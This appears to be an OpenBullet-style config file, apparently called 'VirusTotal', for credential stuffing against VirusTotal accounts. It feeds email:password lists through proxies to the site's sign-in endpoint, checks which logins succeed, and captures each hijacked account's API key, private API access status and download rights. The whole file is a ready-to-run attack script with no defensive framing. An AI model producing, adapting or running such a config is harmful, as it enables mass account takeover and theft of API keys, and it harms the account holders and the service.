[SETTINGS]
{
  "Name": "VirusTotal",
  "SuggestedBots": 100,
  "MaxCPM": 0,
  "LastModified": "2019-07-27T21:00:45.3841518-05:00",
  "AdditionalInfo": "Captures API key, private API access status, and ability to download files. ",
  "Author": "Hestia",
  "Version": "1.3.5 [Anomaly]",
  "LoliSave": false,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": true,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "EncodeData": false,
  "AllowedWordlist1": "MailPass",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "Base64": "",
  "Grayscale": false,
  "RemoveLines": false,
  "RemoveNoise": false,
  "Transparent": false,
  "ContrastGamma": false,
  "Contrast": 1.0,
  "Gamma": 1.0,
  "Brightness": 1.0,
  "RemoveLinesMin": 0,
  "RemoveLinesMax": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "DisableNotifications": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": ""
}

[SCRIPT]
REQUEST POST "https://www.virustotal.com/ui/signin" 
  CONTENT "{\"data\":{\"user_id\":\"<USER>\",\"password\":\"<PASS>\",\"forever\":false}}" 
  CONTENTTYPE "application/json" 
  HEADER ": scheme: https" 
  HEADER "accept: application/json" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: en-US,en;q=0.9" 
  HEADER "cookie: VT_PREFERRED_LANGUAGE=en" 
  HEADER "origin: https://www.virustotal.com" 
  HEADER "referer: https://www.virustotal.com/" 
  HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 
  HEADER "x-app-hostname: https://www.virustotal.com/gui/" 
  HEADER "x-app-version: 20190703t093555" 

KEYCHECK 
  KEYCHAIN Failure OR 
    KEY "Incorrect user or password" 
  KEYCHAIN Success OR 
    KEY "\"email\"" 

PARSE "<SOURCE>" JSON "apikey" -> VAR "API Key" 

PARSE "<SOURCE>" JSON "download" Recursive=TRUE -> VAR "DL" 

PARSE "<SOURCE>" JSON "private" Recursive=TRUE -> VAR "PREM" 

PARSE "<DL>" JSON "granted" -> VAR "Can Download" 

PARSE "<PREM>" JSON "granted" -> VAR "Private Access" 

FUNCTION Constant "Private Access: <Private Access> | Can Download: <Can Download> | Key: <API Key>" -> CAP "Capture"